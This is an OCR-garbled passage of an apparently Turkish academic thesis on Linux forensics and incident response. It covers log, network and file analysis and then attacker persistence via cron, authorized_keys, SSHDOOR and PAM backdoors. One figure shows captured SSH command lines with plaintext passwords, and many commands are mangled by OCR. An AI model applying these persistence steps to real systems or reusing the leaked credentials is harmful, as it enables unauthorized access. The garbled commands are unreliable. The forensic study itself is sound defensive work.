0b374d19d88498314478273ce10bBa70 [etc/ldap/ldap.conf
2adad4ce6b469cbdeeaf3d6971f2d83b Jetc/ca-certificates.conf.dpkg-old
d22f80e1282c532d2e9c217e0ead77b® [etc/ld.so.cache
298587592cB4441968337317def414f2 Jetc/fuse.conf
00060e37207F950bT0ebfd25810c19b9 [etc/services

ebf4afalca37607f96174e63d5e0dBac [etc/geoclue/geoclue.conf
559387f792462a62e3efbid573e38d11 Jetc/cron.daily/bsdmainutils
6bb8d56558bfaed4cf546e7280859f033 /Jetc/cron.daily/man-db
df5d3bc9ab3a67b58156376318077304 [etcfcron.daily/apport
xargs: md5sum: terminated by signal 13

Sekil 4.3. Siipheli dosyalarin hash bilgisi

4.4. Olasi Sizma Yontemleri ve Giris Noktalarinin Tespiti

Analiz asamasina baglamadan oOnce, sistemi hizli sekilde gozden gegirerek saldirgan
goziiyle bakmamiz gerekmektedir. Linux Sistemlerde derin analiz yapilirken 6ncelikle kullanilan
yontemin tespitinin yapilmasi gerekmektedir.

Sistemin bulundugu topolojide ag iizerinde bulunan konumu konumu gibi degerler 6nem
tagimaktadir. Biitiinsel agidan sisteme bakmak sistemin agiklarini tespit etmek ilgili konularda
¢iktilart analiz etmek 6nem tasimaktadir.

e  Standart yollar ile sistemin bulundugu ag {izerinde taramalar yapilmasi

Linux sistemlerde agik kaynak kodlu olarak gelistirilen ve varsayilan olarak yer alan,
Nmap, Nessus veya Openvas gibi sistemde tarama yaparak acikliklari tespit etmeye yarayan
araclar kullanilmaktadir.

e  Brute-force Parola Saldirilari ile Sisteme Erisilmesi

Brute Force, bir parolay1 ele gecirmek icin yapilan bir cesit dijital ve kriptografi
saldirisidir. Saldirgan karakter setleri ile izleme listeleri olusturmus olabilir. Karakter setleri ile de
bir wordlist olusturarak sisteme deneme yapma islemleri gerceklestirilir. Linux sistemlerde brute
force saldirilari tespiti i¢in giris denemeleri ve basarisiz giris denemeleri loglar1 incelenmelidir.

Sisteme saldirgan géziiyle bakmak biiyiik onem tasimaktadir.
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4.5. Web Uygulama Zafiyetleri Kullanilarak Sisteme Erisilmesi

Web uygulamalari tizerinde yer alan kullanici girdileri, HTML ¢ikt1 kodlama islemleri, veri
tabani giivenligi, parola giivenligi gibi durumlarda yer alan zafiyetlerin somiiriillmeye c¢alisiimasi
ile sisteme erismeye calisan saldirgan profilleri mevcuttur. Enfekte sistemlerin incelenmeye
baglanmasi asamalarinda sunucu {izerinde yer alan web servislerinin erisim loglar1 incelenerek,
siipheli istek veya tarama gibi durumlarin tespiti yapilmalidir.

Web uygulamalar1 {izerinde tespit edilen bircok zafiyet ve agiklik mevcuttur. Linux
sistemlerde hazir araclar sayesinde, rapiscan, skipfish, xsspwn, gibi sistemde zafiyet ve bilgi
toplanir 6nleme ve diizenleme asamalari biiyiik 6nem tagimaktadir.

SQL injection, XSS, File include agikliklarindan yararlanarak saldirgan aktiviteleri tespit

edilmektedir.

4.6. Calisan Servislerin Hedef Alinmasi

Linux isletim sisteminde anormal durumlarin incelenmesi ve kovusturulmasi
asamalarinda sistemde o anda g¢alisan siipheli processlerin incelenmesi ve aninda miidahale

edilebilmesi biiyiik 6nem tagimaktadir. Tablo 4.2” de tespit yontemleri belirtilmistir.

Tablo 4.2. Caligan siipheli servisler ile ilgili bilgi toplanmasi

Komut Gorev

systemctl status <service_name> Calisan servisin durumu komutu listelenmektedir
systemctl stop <service_name> Calisan bir servis komutu ile durdurulmaktadir.
systemctl start <service_name> Sistem tekrar baglatilirsa bildirim alinir.

Stipheli processler tespit edilerek komut araciligi veya sistemde var ise giivenlik tiriinleri
araciligi ile toplu olarak durdurularak yayilimi engellenebilir. Calisan processler iizerinde zararli
yazilim tespiti yapilir ise ilgili siipheli yazilim network izole ortaminda zararli yazilim inceleme
araglar1 ile incelenerek statik ve dinamik acidan incelenerek zararli yazilim yapisi ile ilgili
aragtirmalar, zararlinin hedef aldigi sistemler belirlenmeli cihaz ve sistem iizerinde koruma

caligmas1 tamamlanmalidir.

4.7. Yerel ve Uzak Baglanti1 Detaylar

Netstat etkin TCP baglantilarini, bilgisayarin bagli oldugu baglanti noktalarini, Ethernet
bilgilerini, I[P Routing tablosu ve gerekli iletisim kurallar1 iizerinden istatistikleri goriintiiler.

Tablo 4.3’ de komut detaylar1 verilmistir.
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Tablo 4.3. Netstat komutuna ait parametreler ve agiklamalari

Komut Aciklama

Netstat -a Tim TCP ve UDP baglantilar1 ekrana basar.

Netstat -e Gelen ve giden paket sayisinin istatistiklerini goriintiiler.

Netstat -n Tiim baglantilar1 rakamsal olarak goriintiiler.

Netstat -0 Tiim baglantilar1 PID numarasi ve uygulama adina gore listeler.
Netstat —p Baglantilarin kullandigi uygulama ve PID numaralarini ekrana basar
Netstat —s Kurallara gore istatistiksel verileri ekrana basar.

Netstat —r IP yonlendirme tablosunun igerigini goriintiiler

Tablo 4.4’de linux sistemler igin ag baglantilar tespit etme komutu ile paket ve protokol
bilgilerinin verilmesi hususunda Ornek c¢ikti yer almaktadir. Ag iizerinde gonderilen paket
ciktistnin ag protokolleri {izerinden detaylandirilmasi ¢iktt sonucunda verilen bilgilerin

anlamlandirilmasi sonucunda olusmaktadir.

Tablo 4.4. Paket trafik protokol ¢iktisi

Ip:
Forwarding: 1
6752 total packets received
1 with invalid addresses
0 forwarded
0 incoming packets discarded
6749 incoming packets delivered
3300 requests sent out
20 outgoing packets dropped
1 fragments received ok
2 fragments created
Icmp:
40 ICMP messages received
0 input ICMP message failed
ICMP input histogram:
destination unreachable: 40
40 ICMP messages sent
0 ICMP messages failed
ICMP output histogram:
destination unreachable: 40
IcmpMsg:
InType3: 40
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OutType3: 40
Tep:
21 active connection openings
0 passive connection openings
4 failed connection attempts
0 connection resets received
0 connections established
6295 segments received
2845 segments sent out
0 segments retransmitted

0 bad segments received

4.8. Lsof Aktif Baglantilarin Listesi

Enfekte sistem igerisinde, siipheli zaman araliklar belirlendiginde ilgili aktivite araliginda
olay anmna ve sonrasina iligkin dosya incelemeleri yapmak, sistemde aktif olan dosya
baglantilarini tanimlamak biiyiik 6nem tagimaktadir Sekil 4.4°de sistem iizerinde bulunan aktif

cihaz bilgisi tespit edilmistir.

COMMAND PID USER FD  TYPE DEVICE SIZE/OFF NODE NAME
x-ww-bro 1179 kali 131u IPv4 21148 0t0 TCP 192.168.198.129:53510—>ec2-54-148-228-200.us-west-2.compute.amazonaws.com:https (ESTABLISHED)

Sekil 4.4. Lsof aktif baglant1 goriintiilenmesi

Aktif baglantilar ve dinlenilen portlar listen durumundadir. Listen mod igerisinde olan
baglantilar detayli incelenmelidir.
Lsof -Pni komutu ile analist DNS (Domain Name Server) ¢oziimlemesi yapmadan bilgi alarak

saldirgandan kendini gizleyebilir. Tablo 4.5’de komutlarin detaylar verilmistir.

Tablo 4.5. Lsof kullanimi

Komut Islev

Isof —i Acik olan tiim network socketleri ve aktif baglantilar1 listelemek igin -i

parametresi kullanilmaktadir.

Isof —Pni Eger, port ve hostname’lerin isim ¢dziimlemesi yapilmadan numerik olarak

listelenmek amaciyla kullanilmaktadir.

Isof -i:22 SSH portunu dinlemektedir.

Isof -i @IP Spesifik bir ip adresinden agilan baglantilari listelemek igin kullanilmaktadir.
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Lsof parametresi kullanicilarin actig1 dosyalar, belli bir dosyaya erisen siiregler, belli bir
dizine erigen kullanici ve siirecler, 6zel bir bir siirecin agtig1 dosyalar, belirli bir komut ¢aligtiran
stirecler gibi mekanizmalarin tespitinin yapilmasi1 adina Linux sistemlerde ilgili parametre
kullanilmaktadir. Ornek olarak apache sunucusuna ait 18828 numarali siirecin eristigi tiim
dosyalar1 listelemek isterseniz “lsof -p” parametresini kullanarak ilgili process siirecini
goriintiileyebilmekteyiz.

Belirli bir komut iizerinde ¢alisan parametrelerin listesinin tanimlanmasi ve tiim siireglerin
gorlintiilenmesi i¢in operasyonel siireclerde siklikla kullanilir. Saldirganin calistirmis oldugu

komutlar tespit edilerek, Isof komutu ile siire¢lerini listelememiz miimkiin olmaktadir.

4.9. Sistem Uzerinde Yapilan Degisiklikler

Ele gecirilmis bir Linux sunucu lizerinde saldirganin yapmis oldugu degisiklikleri tespit
etmek amaciyla son giinlerde degisen veya yeni eklenen dosyalar hakkinda bilgi toplanmalidir.
Sistemde bir zararl dosya indirilip, 6nemli olmayan bir dizinde kullanilmis ve kendisi ¢alisan bir
process iizerine eklenmis olabilir. Bu durumlarda orijinal dosyay1 “find” komutu ile bulabiliriz.

Son zamanlarda degistirilmis/diizenlenmis tiim dosyalarin tespitini yaparak saldirganin
biraktig1 etkileri detaylica inceleyebiliriz. “Find /etc -type -f printf '%TY-%Tm-%Td-
%TT %p\n' | sort -r” komutu ile siipheli dizinde degistirilen dosyalar: elde edebilir dizini ve alt
dizinlerde degistirilmis dosyalari listelemektedir.

Linux Isletim sisteminde, son bir saat icerisinde veya son iki giin icerisinde degisen
dosyalarin kayitlar1 tespit etmek amaciyla “find” komutu kullanilmaktadir. Sistemde root
yetkileriyle “sudo find /etc -type f -mtime -2” komutu kullanarak son 2 giin igerisinde degisen

dosyalar goriintiileyebilmekteyiz.

4.10. Dosya izinlerinin incelenmesi;

Linux isletim sistemlerinde, Chmod komutu igerisinde dosya iizerinde change mod olarak
adlandirilan bir yapidir. Kontrol edebilmek i¢in chmod 777 komutu kullanilmaktadir. Amag
yazma okuma calistirma izni bulunan tam yetkilendirilmis dosyalar listelemek. Herhangi bir
siipheli reputasyona(imza degerine) sahip dosyanin sistem iizerinde tam yetkilendirme ile
bulunmasin engellemektir. Tablo 4.6’da Dosya izinlerinin belirlenmesi ve goriintillenmesi igin

kullanilabilen komutlar belirlenmistir.
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Tablo 4.6. Dosya izinlerinin belirtilmesi

Komut Aciklama

Is -1t Loglara ait son degistirilme zamani bilgisini tanimlamaktadir.

Is -lu Loglarin dosyasina son erisim zamani bilgisini tanimlamaktadir.

Is -lc Log dosyasina erisim haklarinin son degistirilme bilgisini ve izinleri belirtir.

4.11. Sisteme yapilmis basarili veya basarisiz giris denemeleri

Linux igletim sistemlerinde *“/var/log/auth.log” dizini altinda sisteme yapilan giriglerin
bilgisine ulasilmaktadir. Enfekte oldugu tespit edilen sisteme yapilmis giris denemelerini kontrol
ederek, yetkisiz giris tespitleri yapilmaktadir. Linux isletim sisteminde Last komutunu kullanarak
uzaktan sisteme giris yapmis kullanicilarin listesini elde edebiliriz. Herhangi bir kullanicinin
sisteme ne zaman ve hangi tarih araliginda girdigini elde edebilmek icin last username komutu
kullanilmaktadir.

Sistemde yetkisi bulunmayan bir kullanicinin basarili giris yapmasi siipheleri ¢ekmek i¢in
yeterlidir. Kullanicinin oturumunu en son ne zaman ag¢tigl, hangi aktivitelerde bulundugu gibi
bilgiler konsolide edilerek ¢oziimlenebilir.

Sistemde yapilan basarisiz giris denemelerinin siklik(istek) sayisi ve buradaki anormal

durumlarin tespit edilmesi, biiyiik 6nem tagimaktadir.

4.12. Sistemin Yeniden Baslatilma Zamam

Adli analizlerde en Onemli hususlardan biri sistem iizerinde delil biitlinliigliniin
korunmasidir. Ozellikle ugucu verilerin kaybedilmesi delilin biitiinliigiinii etkileyebilir. Saldirgan
aktiviteyi gerceklestirdikten sonra sistemi yeniden baglatabilir. Cihazin son yeniden baglatilma

zamanini tespit ederek, analiz i¢in veri toplanmaktadir.

4.13. Sistemde Aktif Kullanicilar1 Listelemek

Sistem {izerinde bulunan aktif kullanicilar1 komut journalctl -u ‘systemd-logind’ —since
“today” —until “tomorrow”

Linux isletim sistemlerinde “less /var/log/auth.log” komutu kullanarak sistemde anlik
olarak bulunan kullanicilarin loglarinin incelenmesi yapilmaktadir.

Linux isletim sistemlerinde ilgili komuta W parametresi eklenmesi ile sistemde aktif olarak
bulunan ag servislerinin incelenmesi ve bunlar1 ¢alistiran kullanicilarin  bilgileri tespit
edilmektedir.

Netstat komutu kullanilarak ag baglantilart daha detayli kontrol edilebilir.
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4.14. SSH Anahtarlarinin incelenmesi

Sistemde baglant1 yapilmasi s6z konusu oldugunda giivenli sekilde baglanti olmasi,
saldirganin uzak baglant1 yapabilecegi port bilgilerini kapatmasi firewall iizerinde de ilgili yaygin
hedef portlarin kapatilmasi gerekmektedir. SSH baglantis1 yapilirken kapali anahtar ve sifreli bir
yap1 ile hedef sisteme giris yapilir. SSH yani 22 portu agik sistemler saldirganlar i¢cin daha
gOriliniir sistemlerdir.

SSH (Secure Shell) Uzak baglanti parola girisleri ile giivenli baglanti saglanmasi yerine bir
acik anahtar kullanilabilir. Bu 6zel anahtar saldirgan tarafindan caldirilmis ve bagkas1 tarafindan
kullaniliyor olabilir. Sistemde bulunan SSH loglar1 incelenerek anomali tespiti yapilmalidir.

Saldirgan SSH & telnet oturum agma veya sistemdeki kimlik dogrulamasini belirlemek igin
“/var/log/” dizinine gidebilir ve ardindan sunu yazabilirsiniz. Sistemde bulunan basarisiz
baglantilar

“Grep sshd.\ *Failed /var/log/auth.log | less grep sshd. *Did /var/log/auth.log | less”
komutu ile tespit edilmektedir. Bdylelikle defalarca zorlama yapan saldirgan giris denemelerini

tespit etmek amacglanmaktadir.

4.15. Linux Syslog ve Auditloglarin incelenmesi

Syslog linux sistemlerde loglama yapisina verilen isimdir. Geriye doniik analiz yapabilmek
ve isletim sisteminde ne gibi islemlerin olup bittigini 6grenmek igin syslog kullanilabilir. Kurum
ve kuruluglar genelinde ilgili dosyalarin kullanimi ortamda bulunan Linux cihazlarin log
entegrasyonlarinin saglikli ¢aligsmasi ve saldir1 etkisi olusturan sistemlerin incelenmesi konusunda
acik bir fayda saglamaktadir. Sistemde ne olup bittigini anlamak, gerekli kayitlar1 geriye doniik
incelemek ve giinliik yedekleme yapilar1 syslog araciligi ile yapilmasi saglanir. Daha gelismis
versiyonu Rsylog olarak bilinmektedir.

Linux Audit sistemi igletim sistemi cekirdegi tarafindan sisteminizde olusan cagri ve
olaylarim hemen hepsi hakkinda siire¢ islemlerinin loglanmasidir. Syslog/Rsylog loglarindan
farklidir; ¢linkii Audit loglar1 bazi temel degismeyen alt yapilari miimkiindiir.

Linux Audit loglari; Audit kernel modiilii, sistem cagrilarini takip eder ve yapilandirmada
takip edilmesi istenen cagrilarla ilgili olaylar1 kaydeder. Audit sisteminden denetim raporlarin
cekerek diske yazmakla gorevli bilesendir. Toplanan loglarin goriintiilenmesi ve sorgulanmasi

icin de belirli audit uygulamalar1 belirlenmektedir.
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4.16. Linux Adli inceleme Araclar

Linux igletim sisteminde Adli inceleme iglemleri yapilirken sistem {izerinde bulunan log
kaynaklarindan faydalanildigi ve dosya/dizin bazli tutulan bilgilerin igerisinden elde edilen
bilgiler dogrultusunda detayli analiz islemleri yapildig bilgisi elde edilmistir.

Adli analiz islemleri yapilirken manuel bulgular disinda, hazir araglar kullanilarak adli
incelemeler detayli olarak yapilmaktadir. Kullanilan acik kaynak kodlu araglar ile konunun agiga
kavusmasi acisindan dogrulamasmin saglanmasi ve kovusturma evresine ulagmasina fayda
saglayacak bilgiler elde edilmistir. Bu araglardan bazilar1 asagida detaylandirilmistir. Agik
kaynak kodlu yazilimlari kullanilmasi 6zgiirliik, giivenilirlik, agisindan avantajlar saglamaktadir.

Linux, verileri igleyebilen, metin belgelerinin, resimlerin, videolarin ve yiiriitiilebilir
dosyalarin veri analizini gergeklestirebilen, bu verileri arastirmaciya ilgili verileri tanimlamaya
yardimeci1 olacak bir bicimde sunabilen ve verileri arastirabilen ¢ok c¢esitli dijital analiz cihazlarina
sahiptir. Bir kaynaktan verinin alinmasi ve islenmesi sistemde yapilan islemlerin analizleri
sonucunda elde edilen bulgularin islenmesi gibi siirecleri benimsemektedir.

SIFT, iicretsiz olarak erisilebilen ve sik sik giincellenen son teknoloji acik kaynakli araglar
kullanilarak gelismis olay miidahale yeteneklerinin ve derinlemesine dijital adli tip tekniklerinin
gerceklestirilebilecegini gostermektedir.

SIFT {iizerinde temel bulunan dizinler disinda olay baslangic ve bitis zamanlar1 adina
incelemeler yapilabilir.

Zaman cizelgesi islemleri yalnizca bir dosya iizerinde sakladigindan, dosya ile ilgili
gecmisin daha iyi anlagilmay1 miimkiin kilar [24].

SANS SIFT adli analiz platformu sayesinde sistem iizerinde delil elde etme, analiz ve
¢Oziimleme asamalarinda Linux, Unix, Windows isletim sistemleri 6zelinde adli analiz iglemleri
gerceklestirilmektedir. SANS Linux igletim sisteminde hem saldiri, hem de analiz imkani
bulunmaktadir.

SANS SIFT kurulusu adli analiz islemlerinde standartlar1 belirler ve gerekli delil dizinlerini
poster seklinde tanimlamis yaymlamustir.

Linux igletim sistemi igerisinde yaygin olarak kullanilan “dd” parametresi ve araci ¢ogu
Linux dagitiminda (Fedora, Ubuntu) varsayilan olarak yiiklenen giiglii bir aragtir. Bir klasor,
dosya veya siiriicliniin fiziksel imaj (birebir adli kopya) olusturmak igin ve adli analizlerin

tamamlanmasi i¢in kullanilir. Tablo 4.7°de gosterilmistir.
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Tablo 4.7. Linux adli analiz i¢in kullanilan araglar ve 6zellikleri

Arag Ozellik

dd Klasor veya diskin bir boliimiiniin veya dosyanin imajint almak i¢in kullanilan adli

analiz aracidir.

dc3dd Gelistirilmis dd stirimii

dcfldd dd'nin farkli gelistirilmis stirlimii (bu siiriimde baz1 hatalar var!, baska bir siirim de

github adulau / dcfldd iizerindedir

Deft Adli Bilisim Analizi i¢in kullanilan Linux Dagitim

Linux ExplOrer | Python & Flask'ta yazilan Linux ug birimi i¢in kullanimi kolay canli adli arag

SANS gibi platformlar sayesinde sanal ortam iizerinde hazir araglar araciligi ile analiz
islemleri yapilabilir [27]. Rapid Response yazilimi gibi yazilimlar vasitasiyla sistemlere uzaktan

baglant1 yapilarak adli analiz iglemi yapilabilir. [28]

4.17. Linux Isletim Sisteminde Zararh Yazilim Tespiti ve Timeline Cikarilmasi

Linux’un agik kaynak kodlu isletim sistemi, kendi biinyesinde bulunan araglar ile zararlt
yazilim analizine olanak tamimaktadir. Komut satirina bagli kalinarak ilgili zararli yapilar
tizerinde inceleme yapilabilir ve zararlinin amaci, sisteme sizmak igin kullandigi yontemler
detayli analiz ile davranis ve yapisal olarak incelenerek sisteme biraktigi etki detayli olarak
arastirilmalidir.

Sunucu kullanimi sayisi agisindan Linux sistemler, Windows isletim sistemlerine gore daha
yaygin halde oldugundan zararli yazilimlar bu sistemleri hedef almaktadir.

Linux sunucuda tarama islemleri yapilirken kullanicinin sistemde bulunan zararl tiirlerini
tespit etmek amaglanmaktadir. Kalicilik mekanizmalarini belirlemek, zamanlanmis gorevleri elde
etmek s6z konusu oldugunda APT tarama yazilimlar1 devreye girmektedir.

Lynis Linux sistemlerde bulunan ve sadece kurulum dosyasi ile a¢ilan bir yazilimdir.
Sistemde dosyay1 acarak Lynis audit system komutu kullanarak sistem {izerinde bulunan dosya
dizin yapilar taranmaktadir. Tarama yazilimlari arasinda ClamAV adi verilen agik kaynak kodlu
antivirlis Urlinii sistemde viriis, malware ve trojan gibi kotiiciil amagla kullanilan dosya tespiti
yapmaktadir. Sistemde zararli yazilim tespiti yapilabilecek bir baska ara¢ ise Chkrootkit isimli
yazilimdir.

Sistem {iizerinde analiz yapilirken toplanan bulgularin ¢iktisinin diizenli elde edilmesi
Timeline olusturulmasi analize dair bir vaka igerisinde olayin biitiinliigiinii ve olayin kok sebebini
saglayabilmek i¢in ¢ok dnemli bir unsurdur. Analiz asamasinda sistem {izerinden alinan her bir
delil ile sistemde olusan degisiklikler biitlinsel olarak incelenebilir. Timeline igerisinde vaka

Ozelinde yer alan ve compramise (enfekte) olan sistemlerin bilgileri, zararli yazilim bilgileri,
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enfekte cihazlar, enfekte userlar gibi bilgiler tanimlanarak sistem {iizerinde detayli incelemeler
yapilmalidir.
Ilgili listeler formatl bir sekilde analistler tarafindan hazirlanmali ve vaka kok sebepleri

arastirilirken gegmis vakalar géz dniinde bulundurulmalidir.
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5. MATERYAL VE METOT

Linux sistemlerde derinlemesine analiz agamalar1 takip edilerek tiim dosya sistemi yapisi,
log dosyalari, sistem {izerinde analiz yapilarak incelemeler yapilmasi ile enfekte sistemde
anormal aktiviteler tespit edilmektedir. Gelismis Kalicilik Mekanizmalar1 (APT'ler), bir bilginin
ve / veya kritik altyapinin gizliligini, biitiinliigiinii ve kullanilabilirligini tehlikeye atmak olan
bilgili ve becerikli diismanlar tarafindan kullamilan gizli saldirilardir [13]. Saldirganlar sisteme
sizmak icin yetki yiikseltir, zafiyet bulgusu elde ederek sisteme yerlesir, Bu saldirilar1 6nceki
yillarda goriilenden ¢ok daha sinsi yapan sey, karmasikliklar1 ve sosyal miihendislik ve otomatik

araglar dahil olmak iizere ¢oklu saldir1 tekniklerinin kullanilmasidir [29].

5.1. Baslangic¢ Script'leri

MITRE atak vektorleri platformlarinda linux saldir1 kategorileri incelendiginde, Linux agik
kaynak kodlu sistemlerde kaynak kodundan tespit edilip, sistem her agildiginda otomatik olarak

caligmasini saglayarak sistemde kalici olmaya ¢aligir. Tablo 5.1°de goriilmiistiir.

Tablo 5.1. Baslangi¢ kalicilik mekanizmalari

Dizin Gorev

/etc/inittab, Hizmet baslangi¢c komut dosyalar1
/etc/init.d, Hizmet baslangi¢ komut dosyalar1
/etc/rc.d, Hizmet baslangi¢ komut dosyalart
/etc/init.conf, Hizmet baslangi¢ komut dosyalar1

5.2. Zamanlanmis gorev (cronjob) dizinleri

Zamanlanmis gorev komutlart ayrica linux dagitimia gore /etc dizininde yer alan cron.
hourly, cron.daily, cron.weekly, cron.monthly dizinlerine atilarak da gorevler zamanlanabilir.
Saldirganlar saatlik gilinliik haftalik ve aylik periyotlarda calismalar ekleyerek sistem iizerinden
bilgi toplamay1 amaglamaktadir.

Root yetkisinde bulunan kullanici her ayin besinci giinii gibi 6zel bir zaman aralig1 vererek
sistemde istedigi ¢alismalar1 yapabilir. Saldirgan sistemde yetki yiikseltip elde ettigi verileri
sistem lizerinde diizenli periyodlarla toplayabilir.

Cron konfigiirasyon dosyalarinda gerekli degisiklikleri yaparak hangi kullanicilarin Cron’u
kullanabilecegini hangilerine kullanim izni verilecegini belirlemek cron dizini altinda
yapilabilecek bir takim giivenlik ihlallerinin 6niine gegmek i¢in alinmasi gereken 6nlemlerdendir.

Tablo 5.2°de 6rnek dizinler belirtilmistir.



Tablo 5.2. Cron dizini kalicilik mekanizmalar1

Dizin

/etc/cron®,

var/spool/cron/*

Olay sorumlusu, planlanmis siipheli gorevleri ve isleri aramalidir. Saldirganlar
zamanlanmis gorevler iizerinde kalicilik birakarak sistemde diizenli taramalar veya tahribatlar

elde edebilir. Sekil 5.1°de Crontab dizini igeri goriintiilenmistir.

[

#

# any other 1 u don't have to run the “crontab’
e d to instal ersion

# and in /et .d. The fi

# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin: /usr/bin

y of menth
menth (1 - 12) OR 1, feb,mar, apr

.—— day of week (¢ ) nday=@ or 7) OR sun,mon,tue,wed,thu,fri,sat
|
* puser-name command to

root cd / &6 TU

root test -x fus

root test / in/anacre ( cd / & run-parts

root test -» g ( cd / &8 run-parts

N an
*
r———T

[ SN R,
ohoh
o ¥ % ———

E= -

Sekil 5.1. Crontab kalicilik mekanizmalari

DNS yapilandirma sorunlarini ¢ézmek ve asagidaki anahtar kelime listesinden yararlanmak igin

cesitli ¢oziimleyici bilgi tiirleri kullanilabilir. Sekil 5.2°de bu durum gosterilmistir.

Sekil 5.2. Crontab kalicilik mekanizmalari

Sistem kurulum tarihine dair cok yakin bir tahmin
icin /etc/ssh/ssh__host__*_key dosyalarma bakilabilir. $HOME/.ssh dizininde SSH baglanti

detaylar1 bulunmaktadir.
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KNOWN_HOSTS, alaninda bu makineden baglanilan makineleri,
AUTHORIZED KEYS alanindaise bu makineye yapilan baglantilar igin public key'leri

icerir. ID_RSA alaminda ise private key'ler vardir.

5.3. SSHDOOR ile Kalic1 Arka Kapi1 Birakma

Truva at1 olarak bilinen ve isletim sistemleri {izerinde backdoor birakmayi amaclayan
zararli dosya, SSH servisini hedef alarak elde etmeyi amaglar. Sistemde bulunan parolalar
diizenli olarak kaydetmeyi ve kimlik bilgisi hirsizinin mevcut oldugunu usr/bin/ssh dosya,
kullanict adini, parolayr ve hedef ana bilgisayar adim1 kaydeden degistirilmis bir yiiriitiilebilir
dosyayla degistirerek sistemden bilgi toplamaktadir.

Authorized_Keys dosyasmin incelenmesi Linux sistemlerde yetki verilmis kalicilik
birakan saldirganin SSH acik anahtarlar1 “/home/username/.ssh/authorized_keys” dosyasindan
elde ederek sisteme uzak baglanti yaparak sistemde aktif olmayir hedefleme mekanizmasina
sahiptir. SSH'deki authorized_keys dosya, dosyanin yapilandirildigi kullanici hesabinda oturum
acmak icin kullanilabilecek SSH anahtarlarim1 belirtir . SSH anahtarlarini kullanarak kaliel
erisimi yapilandirdig: ve uygun yonetim gerektirdigi icin oldukca onemli bir yapilandirma
dosyasidir. Tlgili kalicilik mekanizmasimi sistemde olusturmak icin oncelikle ssh-keygen komut
ciktist icerisinde belirli bir anahtar ¢ifti olusturduktan sonra sha256 keyini authorized keys

patterni altina eklememiz gerektigi Sekil 5.3’de gosterilmistir.

Sekil 5.3. SSHDOOR ile arka kap1 olusturma

Sistemde yapilan incelemelerde “ssh_” zararlis1 tespit edildiginde, secure.loglar kontrol

edildiginde linux sistem iizerinde ssh ile ¢alistirilan komutlar Sekil 5.4’ de verilmistir.
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PWD=/opt/microf /Discovery/ ; USER= . =/bin/netstat -anp
home /¢

home /drausse . oot

/home/drauser ; oot
=/home/drauser ; root ; /sbi vdisplay
rau : ; -/sbi display
rauser ; USE - ‘usr/bin/inq -sym wwn -skipread -no
/home/drauser ; USER=root ; /bin/inq -clar_wwn -skipread -no_dots
/home/drauser ; ER=root : /bin/cat /etc/listener.ora
root ; bin/cat /etc/listener.ora
=/home/drauser ; USER=root ; -/bin/cat /etc/tnsnames.ora
home/drause - ER=root : bin/cat /opt/oracle/listener.ora
/home/draus ; USER=root ; in/cat / opt/oracle/listener.c
=/home /¢ ser ; USER=root ; /bin/cat .
/home /dre - ER=root ; Jusr/bin/

Sekil 5.4. Root yetkisi ile ¢aligan komutlar

SSH yetkisi ile paylasim alanina ilgili kalicilik dosyalar1 eklenerek dosya kurulmustur.
Ilgili dizinde bulunan zararli dosyalar sistemde zamanlanmis olarak gorevlidirler ve kullanict
passwordleri dizin igerisinde goriintiilenebilir. Sekil 5.5 de id rsa.pub dosyasi igeriginde bulunan
key degeri authorized keys igerisine kopyalanarak kalicilik sistemi kurulmasi saglanmasi
amaglar1 belirtilmistir. ilgili yetki elde edildikten sonra sistem iizerinde Tablo 5.3’ de bulunan

zararli dosyalar eklenmistir.

root@kali: ~/.ssh

File Actions Edit View Help

/home/kali
h

ve id_rsa id_rsa.pub

Sekil 5.5. SSH kalicilik mekanizmasi
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Tablo 5.3. SSH ile sistemlere yiiklenmis 6rnek zararlilar

SSH ile Derlenen Zararlilar
\usr\share\yelp\xslt\help\.Sd (File Create)
\usr\share\yelp\xslt\help\.Sh (File Create)
\usr\share\yelp\xslt\help\nt (File Create)
\usr\share\yelp\xslt\help\sshd_ (File Create)
\usr\share\yelp\xslt\help\sshd (File Create)

llgili dizinler {izerinde kalicilik birakmay1 hedefleyen saldirganin sistemde kullanict

passwordlerinin elde edilmis hali Sekil 5.6” da 6rnek olarak gosterilmistir.

lusr/bin/ssh -x -oForwardAgent no -oPermitLocalCommand no -oClearAllForwardings yes -1073251
10.4.30.155 scp -d -t /tmp/config password:Bloodandbone19933 Time: Tue Aug 31 22:55:38
2021

lusr/bin/ssh -x -oForwardAgent no -oPermitLocalCommand no -oClearAllForwardings yes -1073251
10.4.30.155 scp -d -t tmp/config password:276445 Time: Tue Aug 31 22:55:47 2021
lusr/bin/ssh -x -oForwardAgent no -oPermitLocalCommand no -oClearAllForwardings yes -1073251
10.4.42.244 scp -d -t tmp/config password:Bloodandbone19933 Time: Tue Aug 31 22:55:59
2021

lusr/bin/ssh -x -oForwardAgent no -oPermitLocalCommand no -oClearAllForwardings yes -1073251
10.4.42.244 scp -d -t /tmp/config password:813750 Time: Tue Aug 31 22:56:06 2021
lusr/bin/ssh -x -oForwardAgent no -oPermitLocalCommand no -oClearAllForwardings yes -loam
10.248.66.15 scp -t /appdata/prod_wars/ password:Oracle123 Time: Fri Sep 10 15:43:25 2021
lusr/bin/ssh -x -oForwardAgent no -oPermitLocalCommand no -oClearAllForwardings yes -loam
10.248.66.15 scp -t /appdata/prod_wars/ password [OIEILaPE Time: Fri Sep 10 15:43:46 2021

Sekil 5.6. SSH ile passwordlerin elde edilmesi

5.4. Linux Sistemlerde Kalicilik Araglar:

Saldirganlarin arka kap1 birakmasi sistemde kalicilik saglama yontemlerinden biridir. Arka
kapi sistemde kaldikca zararl kullanict belli yetki ve haklara sahip olmaktadir.

Bu sistem iizerinde bu komut dosyasi, Linux-PAM (Takilabilir Kimlik Dogrulama
Modiilleri) i¢in bir arka kap1 olusturulmasini saglar ve bunu sistemde otomatik hale getirir. Linux
sistemlerde ilgili dosyay1 olusturmak igin konsol tizerinden komut ¢alistirilir ve giincel ve dogru
stirim kullanilmas1 gerekmektedir. Kimlik bilgilerinin elde edilmesi ve arka kapi dosyasinin
olusmasi ile usr/lib/security dizinine ilgili arka kap1 modiilii kopyalanmaktadir. Ilgili listede
mevcut olan kullanici sifreleriyle sisteme giris ve basarili erisim yapilabilir.

Kalict arka kap1 birakmak igin ise web servisleri iizerinde kullanilan birden fazla yontem
bulunmaktadir. Web sunucularina arka kapi birakmak i¢in Linux sistemlerde hazir araglardan
faydalanilabilir. Linux ortamda wewely ve socat araclar1 kurularak sisteme arka kapi birakmak
